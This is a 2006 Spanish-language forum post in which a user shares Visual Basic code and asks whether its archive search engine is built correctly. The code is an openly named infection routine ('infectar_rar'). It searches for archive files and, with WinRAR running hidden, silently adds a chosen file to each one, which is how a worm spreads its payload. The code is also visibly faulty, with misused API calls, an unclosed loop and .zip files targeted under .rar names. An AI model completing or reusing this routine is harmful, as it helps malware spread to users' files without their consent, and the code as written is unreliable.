Título: Estaria bien este codigo? Publicado por: Saok Dagon en 12 Noviembre 2006, 22:21 pm ola
Citar Private Sub search_rar() On Error Resume Next Dim NombreRar As String Dim rarExit As String rarExit = FindFirstFile("*.zip", NombreRar) infectar_rar NombreRar.cFileName While FindNextFile(rarExit, NombreRar) infectar_rar NombreRar.cFileName End Sub Function infectar_rar(NombreRar As String) On Error Resume Next Dim file_exe As String Dim winrar As String winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide End Function Queria saber si asi esta bien montado el motor de busqueda para los .rar y luego la forma de usar los resultados. saludos[sh] |